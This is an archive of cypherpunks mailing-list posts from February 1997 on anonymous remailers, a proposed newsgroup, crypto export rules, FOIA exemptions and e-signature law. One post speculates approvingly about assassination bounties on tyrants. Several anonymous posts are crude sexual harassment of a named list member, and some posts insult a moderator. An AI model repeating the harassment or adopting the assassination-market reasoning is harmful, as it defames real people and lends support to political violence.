Date: Wed, 5 Feb 1997 15:20:27 -0800 (PST) Subject: "alt.cypherpunks" people? In-Reply-To: <32F8C86E.15FB@sgi.com> Message-ID: Anil Das writes: > Dr.Dimitri Vulis KOTM wrote: > > > > Learn to use an anonymous remailer. > > Thanks for the hint, Dr. Vulis. I have registered for a course, but > seats are available only in fall. Toilet seats in the state of free fall? The stego on Sandy's moderated list blows my mind... --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From ichudov at algebra.com Wed Feb 5 15:49:50 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Wed, 5 Feb 1997 15:49:50 -0800 (PST) Subject: "alt.cypherpunks" people? In-Reply-To: Message-ID: <199702052326.RAA01969@manifold.algebra.com> In soc.culture.russian.moderated, the moderation bot has a special feature that allows anonymous posters to establish and maintain their "identities" and reputations. igor Rabid Wombat wrote: > > > > On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote: > > > Anil Das writes: > > > > > Adam Back wrote: > > > > > > > > What do people think of starting an alt.cypherpunks USENET newsgroup? > > > > > > > > > > I have only one objection. I will never post to an Usenet group > > > under my real email address for fear of ending up in spammer > > > databases. > > > > > > -- > > > Anil Das > > > > > > > Learn to use an anonymous remailer. > > > > Unfortunately, if everyone is posting from "nobody at thevoid" or such, we'd > lose the "personalities" that make up the community. Why not use a "nym" > account to post - one that is configured to discard all incoming email? > > -r.w. > - Igor. From dlv at bwalk.dm.com Wed Feb 5 16:25:59 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 16:25:59 -0800 (PST) Subject: "alt.cypherpunks" people? Message-ID: <199702060025.QAA07526@toad.com> Anil Das writes: > Dr.Dimitri Vulis KOTM wrote: > > > > Learn to use an anonymous remailer. > > Thanks for the hint, Dr. Vulis. I have registered for a course, but > seats are available only in fall. Toilet seats in the state of free fall? The stego on Sandy's moderated list blows my mind... --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From wombat at mcfeely.bsfs.org Wed Feb 5 16:26:00 1997 From: wombat at mcfeely.bsfs.org (Rabid Wombat) Date: Wed, 5 Feb 1997 16:26:00 -0800 (PST) Subject: "alt.cypherpunks" people? Message-ID: <199702060026.QAA07527@toad.com> On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote: > Anil Das writes: > > > Adam Back wrote: > > > > > > What do people think of starting an alt.cypherpunks USENET newsgroup? > > > > > > > I have only one objection. I will never post to an Usenet group > > under my real email address for fear of ending up in spammer > > databases. > > > > -- > > Anil Das > > > > Learn to use an anonymous remailer. > Unfortunately, if everyone is posting from "nobody at thevoid" or such, we'd lose the "personalities" that make up the community. Why not use a "nym" account to post - one that is configured to discard all incoming email? -r.w. From ichudov at algebra.com Wed Feb 5 16:26:02 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Wed, 5 Feb 1997 16:26:02 -0800 (PST) Subject: "alt.cypherpunks" people? Message-ID: <199702060026.QAA07528@toad.com> In soc.culture.russian.moderated, the moderation bot has a special feature that allows anonymous posters to establish and maintain their "identities" and reputations. igor Rabid Wombat wrote: > > > > On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote: > > > Anil Das writes: > > > > > Adam Back wrote: > > > > > > > > What do people think of starting an alt.cypherpunks USENET newsgroup? > > > > > > > > > > I have only one objection. I will never post to an Usenet group > > > under my real email address for fear of ending up in spammer > > > databases. > > > > > > -- > > > Anil Das > > > > > > > Learn to use an anonymous remailer. > > > > Unfortunately, if everyone is posting from "nobody at thevoid" or such, we'd > lose the "personalities" that make up the community. Why not use a "nym" > account to post - one that is configured to discard all incoming email? > > -r.w. > - Igor. From roach_s at alph.swosu.edu Wed Feb 5 16:35:51 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Wed, 5 Feb 1997 16:35:51 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702060035.QAA07697@toad.com> At 09:09 PM 2/4/97 -0800, jim bell wrote: >At 08:15 PM 1/28/97 -0800, Steve Schear wrote: >>>The poor can not hope to match the tyrants bid as they only have 10% of the >>>wealth, the household knows that thier participation in an attempt on the >>>tyrant will get them killed. Even if the attempt was successful. >>>The people from the outside who would benefit from the bounty benefit more >>>by taking the tyrants offer and then trying again, i.e. tiger teams. >> >>I think a hole in your thinking is to assume that the assasins have no >>motive other than financial gain. I would submit that there are those that >>have the skills, training and a political agenda coherent with the >>wagerers, lacking only the financial incentive to make the risks >>acceptable. These wetworkers won't consider accepting the bribe of the >>rich/powerful ... > >However, fortunately I don't think it would make any difference in the >overall effects. While AP would eliminate the taxation which is commonly >thought of as the main way a "rich person" loses assets, in practice it >would also shut down the well-hidden systems that allow some people to get >rich (or, merely live off somebody else) "unfairly." Government agents >come to mind, of course. > The money doesn't necessarily come from taxation, the owner of a business takes a cut of whatever money is made even if that person is unproductive. The tyrant would be the owner of the industry. If you are right then governments would effectively lose the ability to tax, with or without representation, as most people do not agree on everything, like how their money is spent. However, even now, as pointed out in some recent posts, our tax money is used to foreward the goals of a few, these few want to eliminate guns, crypto, free speech, ect. Although we are in oppostition, our money is still used to foreward the goals. Not unlike what I heard about the U.S.S.R. in vietnam. The following is according to my source. When the Soviet Ambassitor to the U.N. was sick, thats when the aid to vietnam could begin, as the U.S.S.R was not there to veto it. Now the U.S.S.R. was forced to aid both sides, those that were in agreement with them politically, and the U.N., of which they were a member. End of source data. Even those who oppose the taxes would be forced to pay as it would be the army that would be collecting. Then they could take the remaining monies that they had to target the leaders, who would use the tax revinues to protect themselves. If more money was needed, nore taxes would be collected. If it were a private corporation, the wages of the workers would be reduced on occassion to pay for the different security systems of the owner. Additionally, under our current system, the assassin would have his day in court, perhaps he could escape the government, making the cost-benefit analysis skewed in favor of crime. Under a system as proposed, the assassin would be forced do deal with a more powerful curse. Insurance companies would be reconfigured to anonymously see to the death of whatever caused the death of thier clients. They would make money because if the death could be ruled accidental, they would not have to pay. If the person died of a heart attack, and the food taster didn't, (the food taster would probably be the cooks son by the way), then the bond that the tyrant had with the company would be void. The company would cash the check. If the tyrant wanted to insure h[is/er] survival, (s)he would take out several of these bonds, with different companies, each with a signature amount to give to the executors to check their loyalty. If the company paying 1295065 dollars didn't pay up, the executors would tell the world. The idea is, where a layer can be subverted, duplicate the layer so that at least one element is bound to work. From stewarts at ix.netcom.com Wed Feb 5 16:35:56 1997 From: stewarts at ix.netcom.com (stewarts at ix.netcom.com) Date: Wed, 5 Feb 1997 16:35:56 -0800 (PST) Subject: mail-to-news fun In-Reply-To: <19970205054436.4083.qmail@anon.lcs.mit.edu> Message-ID: <3.0.1.32.19970205163534.00612d98@popd.ix.netcom.com> >> Well, I'd really rather not do that. I already have to deal with >> abuse from nym.alias.net and mix at anon.lcs.mit.edu users. >All that being said, it might not be worth the effort to allow posting, >since you're not actually doing the posting anyway. I've thought about >allowing posting again with a very restrictive newsgroup list >(only alt.anonymous.messages). If I were going to restart a remailer, and to offer news posting, I'd probably limit it to posting to moderated newsgroups only, so a human can trash things that look like SPAM or abuse; the abuse that caused me to kill my remailer wasn't something a simple filter would catch. (I'd also prefix each posting with a header about this message having been received from an anonymous source, not verified, not guaranteed to be worth the electrons it's printed on, probably not written by anybody whose name's at the bottom, etc.... People don't read mail headers or disclaimers at the bottom, and putting disclaimers like that into message text for email exposes the message to traffic analysis.) Alt.anonymous.messages is an interesting alternative, but one of the ideals of posting news from a remailer is to allow people to broadcast politically incorrect speech anonymously, avoiding censorship and retribution as much as possible. This means letting people call Lee Kwan Yew a fascist, complain that OJ's a space alien, identify the person Hillary paid to off Vince Foster, or proclaim that Hubbard's Ahmaddiyya Witnesses are the One True Religion -- Or post the One Page RSA+RC4 to the China newsgroups. On the other hand, I don't want to support postings titled "ALL FAGS MUST DIE" with a forged signature and email at the bottom, and I especially don't want to post that from my remailer without indicating that anything posted by a remailer might be forged. That's why I shut down my previous remailer - the forger only posted one forged message; the person whose name got forged got flamed severely by dozens of people who objected to "her" posts. Blocking the gay newsgroups cuts down on that kind of trolling, but also cuts out the "Help, I might be gay and my parents will kill me" traffic that remailers are supposed to help with. On several other hands, though, even if you limit news posting, trolls can abuse a remailer by sending email to large mailing lists. It'd certainly never happen to Cypherpunks :-), but some other mailing lists might attract trolls, and it's not easy to identify them in advance (though I suppose adding a disclaimer and cutmarks any time you post to something other than a known remailer is a partial solution.) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From andy at CCMSD.chem.uga.edu Wed Feb 5 16:53:39 1997 From: andy at CCMSD.chem.uga.edu (Andy Dustman) Date: Wed, 5 Feb 1997 16:53:39 -0800 (PST) Subject: mail-to-news fun In-Reply-To: <3.0.1.32.19970205163534.00612d98@popd.ix.netcom.com> Message-ID: On Wed, 5 Feb 1997 stewarts at ix.netcom.com wrote: > Alt.anonymous.messages is an interesting alternative, but one of the > ideals of posting news from a remailer is to allow people to > broadcast politically incorrect speech anonymously, avoiding censorship > and retribution as much as possible. This means letting people > call Lee Kwan Yew a fascist, complain that OJ's a space alien, > identify the person Hillary paid to off Vince Foster, > or proclaim that Hubbard's Ahmaddiyya Witnesses are the One True > Religion -- Or post the One Page RSA+RC4 to the China newsgroups. Hey, I agree. I allowed unlimited USENET posting from dustbin back in October. I almost had to shut the whole remailer down and the only reason I didn't was that I was able to hide it as a middleman. That's partly because dickwads were (for example) posting spams about Tim May on cypherpunks, and some people were complaining to my ISP. > On several other hands, though, even if you limit news posting, > trolls can abuse a remailer by sending email to large mailing lists. > It'd certainly never happen to Cypherpunks :-), but some other > mailing lists might attract trolls, and it's not easy to > identify them in advance (though I suppose adding a disclaimer > and cutmarks any time you post to something other than a > known remailer is a partial solution.) I'm working (slowly, as I have time) on some new remailer software which blocks by default and notifies the recipient that he can claim his anonymous mail as soon as he "signs" the usage agreement (magic cookie exchange). -- Andy Dustman / Computational Center for Molecular Structure and Design / UGA You can have my PGP public key by sending mail with subject "send file key". You can have my PGP secret key when you pry it out of my cold, dead neurons. http://charon.chem.uga.edu/~andy mailto:andy at CCMSD.chem.uga.edu <}+++< From roach_s at alph.swosu.edu Wed Feb 5 17:00:51 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Wed, 5 Feb 1997 17:00:51 -0800 (PST) Subject: More on Cellular Encryption Docs Message-ID: <199702060100.RAA08114@toad.com> At 12:39 AM 2/5/97 -0800, Bill Stewart wrote: >>>>Here's more on the controlled documents for cellular encryption >>>>from TIA/EIA we described in a 26 January post to cpunks: >... >>>Of course, ITAR as recently modified says it's ok to send this >>>stuff overseas to foreigners, as long as it's on paper. >>>There may be separate restrictions on sending it, or on copying, >>>but they're based on copyright or contractual non-disclosure. >> >>Given that high-density inkjet printers can do 600x600 dpi resolution, it >>should be possible to achieve the equivalent of 100x100 bpi of >>easily-recoverable data on ordinary paper. That's about 800 kilobits, or >>100 kilobytes. What does ITAR say about this? > >These are text, perhaps with occasional illustrations, so the current >interim export rules say it's ok. > >For optically-scannable printed data, the government's announcement says >it reserves (somehow) its right (acquired in unspecified manner :-) >to re-evaluate the exportability at a later time. I think they >haven't settled on whether they'd be more embarassed by banning it >(which bans export of printed material, risking serious Constitutional >challenges) or by not banning it (having people laugh at them while >exporting source code or even binaries in OCR-A on loose-leaf paper >with page numbers and checksums.) ... Let's not tempt them with something that the common person on the street would consider computer media, I.E. punched cards and dataglyphs. Remember the old fonts that used to be everywhere? The ones with the thickened letters at key places? Look at a check some time, that is the type of font at the bottom, its designed to be readable by both man and machine. Print out the source code in one of those fonts and mail that. This is not as data intensive as the other way, but at least it can be argued that it can be read by an unaided person. That way, on the other end, the text can be scanned in directly, using a modified form of check clearing software, and converted into electronic media, sans errors. From dlv at bwalk.dm.com Wed Feb 5 17:01:37 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 17:01:37 -0800 (PST) Subject: "alt.cypherpunks" people? In-Reply-To: Message-ID: Rabid Wombat writes: > > > On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote: > > > Anil Das writes: > > > > > Adam Back wrote: > > > > > > > > What do people think of starting an alt.cypherpunks USENET newsgroup? > > > > > > > > > > I have only one objection. I will never post to an Usenet group > > > under my real email address for fear of ending up in spammer > > > databases. > > > > > > -- > > > Anil Das > > > > > > > Learn to use an anonymous remailer. > > > > Unfortunately, if everyone is posting from "nobody at thevoid" or such, we'd > lose the "personalities" that make up the community. Why not use a "nym" > account to post - one that is configured to discard all incoming email? > > -r.w. Post as "nobody at nowhere.net", but mention e-mail address for replies in the body of the article (or the signature). --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Feb 5 17:01:39 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 17:01:39 -0800 (PST) Subject: Getting into MIT is impossible In-Reply-To: <199702051611.IAA29635@toad.com> Message-ID: Sandy the asshole continues to forward crypto-irrelevant fluff to the censored list as long as it's posted by his boyfriends: "P.J. Westerhof" writes: > At 18:12 4-02-97 -0800, you wrote: > >Erland van Lidth de Jeude is a MIT grad. He played the big badass in "Stir > >Crazy." Computer science major, BTW. > > > He is quite a singer too (at least he was some years ago on Dutch TV). > Perhaps that made the difference. ;-) > > Gr. > Peter > > > _________________________________________________________ > > P.J. Westerhof LL.D > e-mail P.J.WESTER at NGI.NL | Computerlaw > voice +31-347-375400 | Legal informatics > fax/data +31-347-375400 | IT - consultancy > Web: www.ngi.nl/cr/ | Soaring > _________________________________________________________ > > --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Feb 5 17:03:14 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 17:03:14 -0800 (PST) Subject: Deloitte-Touche? In-Reply-To: Message-ID: <2wFo2D3w165w@bwalk.dm.com> Marshall Clow writes: > Several people wrote: > >I wrote: > >>ObCrypto policy: > >> Was anyone else besides me amazed by the guy > >>from Deloitte-Touche at the Internet Privacy Coalition luncheon > >>last week? I mean, he all but advocated violent overthrow of > >>the government. [...] > > > >For the benefit of those of us who were not at this luncheon (probably > >not even in the same country), could you please say more about this, > >Marshall? What was the subject? What _did_ the DT speaker say, exactly? > > > After a while, I stopped taking notes, because I was so astounded at > what he was saying. > (Maybe someone with more complete notes could post a better summary) > > But, here a brief overview of the luncheon: > > Last Wednesday, January 29th, the Internet Privacy Coalition had > a "policy lunch" in San Francisco. It was in one of the hotels hosting > the RSA conference, and at the same time that the conference was > breaking for lunch, so it was easy for attendees to "switch lunches". > > The speakers (as I remember, apologies to any I miss) were: > Whit Diffie > John Gilmore > Kenneth Bass (counsel in Karn vs. Dept of State) > Herb Lin (who ran the NRC staff for the crypto study) > Marc Rotenberg > William Hugh Murray (Deloitte & Touche) > and a couple others that I missed, as I left early. > > Mr. Murray gave a long, impassioned speech. > > He said that the government is going to crack down on > domestic possession and use of crypto, that they > were looking to increase their wiretapping capabilities > 100-fold, and so on. > > He was very emphatic about not trusting anything > that the government says, and that once they got > their "foot in the door", that they would seek to > expand their abilities to regulate, etc, etc. > > He advocated deployment of strong crypto. He > insisted that there was no way the government > could stop the export of strong crypto. He exhorted > people to refuse to obey the ITAR/EAR regulations, > and to lobby their congresscritters to get the > PRO-CODE bill passed. > > > It wasn't really what he said that amazed me, because > I had heard most of it (in bits and pieces) before. It > was presenting it all in a package, in an emotional > manner, by an elderly, conseratively dressed > accountant who was representing a large > corporation whose job it is to help people obey the > government. > > [ My father was an accountant. He worked for > Deloitte-Touche, in fact. I don't expect accountants > to be passionate about government regs, and > especially not to advocate disobediance. Maybe > that's why this affected me so strongly. ] > > -- Marshall > > Marshall Clow Aladdin Systems > > Warning: Objects in calendar are closer than they appear. > > I think Bill Murray might take offense at being called an accountant. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From rah at shipwright.com Wed Feb 5 17:07:31 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 5 Feb 1997 17:07:31 -0800 (PST) Subject: MA Electronic Records and Signature Act Message-ID: --- begin forwarded text Date: Wed, 5 Feb 1997 19:08:30 -0500 (EST) To: Multiple Recipients of e$pam From: e$pam at intertrader.com (e$pam) Reply-To: e$@thumper.vmeng.com X-Comment: To unsubscribe, send any email to e$pam-off at intertrader.com Precedence: Bulk Subject: MA Electronic Records and Signature Act X-orig-from: EskWIRED X-e$pam-source: bounce-dcsb at ai.mit.edu Forwarded by Robert Hettinga ----------------------------------------------------------------------- Date: Wed, 5 Feb 1997 17:27:30 -0500 (EST) From: EskWIRED To: dcsb at ai.mit.edu Subject: MA Electronic Records and Signature Act MIME-Version: 1.0 Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: EskWIRED A discussion draft of the MA Electronic Records and Signatures Act is now available on the web at http://www.magnet.state.ma.us/itd/legal/mersa.htm. The draft appears to be very preliminary--entire sections are marked [under development]. It is notable for its brevity, especially compared to the Utah Statute. Noticeably absent is any language dealing with licensure of certification authorities (bravo!). A link is provided for submission of public comments to Ray Campbell and Dan Greenwood. ========================================================= ---------EskWIRED at shore.net------------ ========================================================= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo at ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB at ai.mit.edu -------------------------------------------------- The e$ lists are brought to you by: Intertrader Ltd - Java e$ Software Developers in the UK Visit for details ... Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$pam? Help pay for it! See Or, for e$pam sponsorship, see Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer HTMLurgist: Cynthia Zwerling --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From rah at shipwright.com Wed Feb 5 17:07:53 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 5 Feb 1997 17:07:53 -0800 (PST) Subject: Remember the Blackout Message-ID: --- begin forwarded text Date: Wed, 5 Feb 1997 19:12:47 -0500 (EST) To: Multiple Recipients of e$pam From: e$pam at intertrader.com (e$pam) Reply-To: e$@thumper.vmeng.com X-Comment: To unsubscribe, send any email to e$pam-off at intertrader.com Precedence: Bulk Subject: Remember the Blackout X-orig-from: dwiner at well.com (DaveNet email) X-e$pam-source: owner-davenetworld at wired.com Forwarded by Robert Hettinga ----------------------------------------------------------------------- X-Sender: dwiner at mail.well.com Mime-Version: 1.0 Date: Wed, 5 Feb 1997 13:23:02 -0800 To: jonl at microsoft.com (Jon Lazarus), hopmann at holonet.net (Alex Hopmann), anna at LivePicture.com (Anna Godfrey), scotty1024 at aol.com (Scott Turner), 577-7433 at mcimail.com (Bobby Orbach), mwhutch at aol.com (Michael Hutchinson -- AOL Webmaster), rsiegelman at kpcb.com (Russ Siegelman), davenetworld at wired.com, pdeziel at adobe.com (Pam Deziel), siegel at barebones.com (Rich Siegel), slove at netscape.com (Scott Love) From: dwiner at well.com (DaveNet email) Subject: Remember the Blackout Sender: owner-davenetworld at wired.com Precedence: bulk --------------------------------------- Amusing Rants from Dave Winer's Desktop Released on 2/5/97; 1:23:01 PM PST --------------------------------------- A short piece, in the middle of much website work, to remind everyone that Saturday February 8 is the first anniversary of an important event in our new medium -- the web blackout of 1996. It's already history. In some circles it's not fashionable to remember that the United States government attempted to censor free speech on the Internet. I believe it would be cynical to overlook it. We defeated the law, even though we re-elected many of the politicians who tried to outlaw free speech in the name of protecting children. I'm building a website that will go live on Saturday to commemorate the protest, and to serve as a monument to the spirit of free speech. To remind us that this is a worldwide community, and no political system has the power to enforce its standards of decency on the medium. The battle to retain our rights is ongoing. Important organizations such as the Electronic Frontier Foundation and the American Civil Liberties Union deserve and require our support. It's easy to lose sight of the principles that we believe in, to be distracted by questions of corporate survival, of fear or greed. These are interesting issues, no doubt. But this is a creative and expressive medium and to protect its potential, unqualified free speech is essential. I played a small role in the web blackout last year. This year I hope to facilitate, to organize more sites and help to spread the word that free speech is not an option, not something that can be traded or limited and that no compromises are possible. If you run a democracy-related site, large or small, please visit the page before Saturday and register. If you know someone who does, please pass this on. And if you value free speech, please visit the site on Saturday or later. It'll be a fascinating trip thru Internet history, if nothing else! Remember the blackout. Remember why it was necessary. Don't let people use children as an excuse to deprive people of their power to express themselves. Dave Winer ------------------------------------------- News & Updates: -------------------------------------------------- The e$ lists are brought to you by: Intertrader Ltd - Java e$ Software Developers in the UK Visit for details ... Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$pam? Help pay for it! See Or, for e$pam sponsorship, see Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer HTMLurgist: Cynthia Zwerling --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From LEHMANNJ at saatchi.com.au Wed Feb 5 17:16:26 1997 From: LEHMANNJ at saatchi.com.au (John Lehmann (SSASyd)) Date: Wed, 5 Feb 1997 17:16:26 -0800 (PST) Subject: British export restrictions? Message-ID: <32F9412D@smtp.saatchi.com.au> Anyone know how the British govt. falls on crypto export legislation? -- John Lehmann From nobody at REPLAY.COM Wed Feb 5 17:18:55 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 5 Feb 1997 17:18:55 -0800 (PST) Subject: [CRYPTO] PGP Message-ID: <199702060025.BAA06705@basement.replay.com> Timmy C[reep] May has been beaten up numerous times by fellow prostitutes for driving blow job prices down. (((> /< ( / ((({{{{{:< \ \< From gbroiles at netbox.com Wed Feb 5 17:21:56 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 5 Feb 1997 17:21:56 -0800 (PST) Subject: Cypherpunks FOIA request In-Reply-To: Message-ID: <3.0.1.32.19970205172620.006d4ab8@mail.io.com> -----BEGIN PGP SIGNED MESSAGE----- At 08:22 AM 2/5/97 -0800, Peter Hendrickson wrote: >At 12:40 AM 2/5/1997, Greg Broiles wrote: >> To date, I have received three responses: one from the SF office of the FBI, >> indicating that they have no records responsive to my request; one from the >> NSA, indicating that they are processing my request, and one from the Secret >> Service, asking for a copy of my signature. (I've got no clue why they want >> that; unless I screwed up, I believe my initial request was signed.) > >Have these organizations been known to lie? What penalties does >the organization or its employees face when they do so? Have these >penalties ever been applied? Yes, various law enforcement agencies and intelligence agencies have been willing to lie to the American public (and the world at large) from time to time :) Pragmatically, the only penalty that the organization(s) and individuals face is political, e.g., cuts in funding or loss of employment due to public humiliation/embarrassment. >Also, which exceptions in the FOIA law would allow them to respond >dishonestly? They are allowed to respond that "no records exist" even if records do exist, where: (1) The records relate to an active criminal investigation, the subject of the investigation is unaware of the investigation, and the disclosure of the existence of records would likely disrupt law enforcement activity; (5 USC 552 (c)(1)) (2) The records relate to a confidential informant, and the disclosure of the existence of the records would tend to reveal the identity of the informant (e.g., I suspect Joe Blow is an informant, so I make a FOIA request for information gained from confidential informant Joe Blow; even if I receive only blacked-out pages, the fact that the records exist tells me something about Joe) (5 USC 552 (c)(2)) (3) The records are classified, held by the FBI, and pertain to intelligence, counterintelligence, or international terrorism. (5 USC 552 (c)(3)) They may also withhold information in other circumstances, but are not otherwise allowed to say that "no records exist". (There's something surreal about presuming careful attention to tiny legal details from organizations which perpetrated debacles like COINTELPRO, Waco, Ruby Ridge, perjury/manufacturing evidence in the FBI lab, etc. But sometimes something interesting is released, e.g., .) -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMvky//37pMWUJFlhAQE5tgf/QstFYJxNcJuRIQjF14a+3luyJgFe8MCp UpMfykNKHmnbq+ChZCsmgXUCt49s0VFQYeMdNH1HWaaOcTtRr3uqNFqmyLBQxSne PboMtzvl0Z6NKcP/DV1BwHxHJZbYVGPoPXDYd7xHvIsU0xRbHVOQgidgMJQmjf4E 4S/T3tovD+e1ahoSCBkZslLs/13pMstmDxz5tPd2mHwsFfLiklSaRUcKmtdkGPTc da3VFFOjYlYB4ps4dkd7Vv6zgl4ZQJLMXZyoBsYrAax4k3eLuheVj/inZIqZFHvO LqJPdCM34QurFXIOQmlo7sQnOvWPgc2ASdctV46lHTSJA6USIhbt9A== =KAj+ -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From mixmaster at remail.obscura.com Wed Feb 5 17:28:18 1997 From: mixmaster at remail.obscura.com (Mixmaster) Date: Wed, 5 Feb 1997 17:28:18 -0800 (PST) Subject: Hash functions Message-ID: <199702052256.OAA13660@sirius.infonex.com> Timothy C[reep] Maya is the living proof that anal sex causes pregnancy. () \--o .-\__. ( \_ '-.-' From mixmaster at remail.obscura.com Wed Feb 5 17:32:00 1997 From: mixmaster at remail.obscura.com (Mixmaster) Date: Wed, 5 Feb 1997 17:32:00 -0800 (PST) Subject: Mondex Message-ID: <199702052306.PAA17408@sirius.infonex.com> Timmy C. Maypole's aberrant sexual life has negatively impacted his mental integrity. \|/ @ @ -oOO-(_)-OOo- Timmy C. Maypole From LEHMANNJ at saatchi.com.au Wed Feb 5 17:38:50 1997 From: LEHMANNJ at saatchi.com.au (John Lehmann (SSASyd)) Date: Wed, 5 Feb 1997 17:38:50 -0800 (PST) Subject: British export restrictions? Message-ID: <199702060138.RAA08849@toad.com> Anyone know how the British govt. falls on crypto export legislation? -- John Lehmann From mixmaster at remail.obscura.com Wed Feb 5 17:38:50 1997 From: mixmaster at remail.obscura.com (Mixmaster) Date: Wed, 5 Feb 1997 17:38:50 -0800 (PST) Subject: Hash functions Message-ID: <199702060138.RAA08850@toad.com> Timothy C[reep] Maya is the living proof that anal sex causes pregnancy. () \--o .-\__. ( \_ '-.-' From mixmaster at remail.obscura.com Wed Feb 5 17:38:53 1997 From: mixmaster at remail.obscura.com (Mixmaster) Date: Wed, 5 Feb 1997 17:38:53 -0800 (PST) Subject: Mondex Message-ID: <199702060138.RAA08857@toad.com> Timmy C. Maypole's aberrant sexual life has negatively impacted his mental integrity. \|/ @ @ -oOO-(_)-OOo- Timmy C. Maypole From dlv at bwalk.dm.com Wed Feb 5 17:38:57 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 17:38:57 -0800 (PST) Subject: "alt.cypherpunks" people? Message-ID: <199702060138.RAA08870@toad.com> Rabid Wombat writes: > > > On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote: > > > Anil Das writes: > > > > > Adam Back wrote: > > > > > > > > What do people think of starting an alt.cypherpunks USENET newsgroup? > > > > > > > > > > I have only one objection. I will never post to an Usenet group > > > under my real email address for fear of ending up in spammer > > > databases. > > > > > > -- > > > Anil Das > > > > > > > Learn to use an anonymous remailer. > > > > Unfortunately, if everyone is posting from "nobody at thevoid" or such, we'd > lose the "personalities" that make up the community. Why not use a "nym" > account to post - one that is configured to discard all incoming email? > > -r.w. Post as "nobody at nowhere.net", but mention e-mail address for replies in the body of the article (or the signature). --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Feb 5 17:39:04 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 17:39:04 -0800 (PST) Subject: Getting into MIT is impossible Message-ID: <199702060139.RAA08875@toad.com> Sandy the asshole continues to forward crypto-irrelevant fluff to the censored list as long as it's posted by his boyfriends: "P.J. Westerhof" writes: > At 18:12 4-02-97 -0800, you wrote: > >Erland van Lidth de Jeude is a MIT grad. He played the big badass in "Stir > >Crazy." Computer science major, BTW. > > > He is quite a singer too (at least he was some years ago on Dutch TV). > Perhaps that made the difference. ;-) > > Gr. > Peter > > > _________________________________________________________ > > P.J. Westerhof LL.D > e-mail P.J.WESTER at NGI.NL | Computerlaw > voice +31-347-375400 | Legal informatics > fax/data +31-347-375400 | IT - consultancy > Web: www.ngi.nl/cr/ | Soaring > _________________________________________________________ > > --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From andy at ccmsd.chem.uga.edu Wed Feb 5 17:39:06 1997 From: andy at ccmsd.chem.uga.edu (Andy Dustman) Date: Wed, 5 Feb 1997 17:39:06 -0800 (PST) Subject: mail-to-news fun Message-ID: <199702060139.RAA08879@toad.com> On Wed, 5 Feb 1997 stewarts at ix.netcom.com wrote: > Alt.anonymous.messages is an interesting alternative, but one of the > ideals of posting news from a remailer is to allow people to > broadcast politically incorrect speech anonymously, 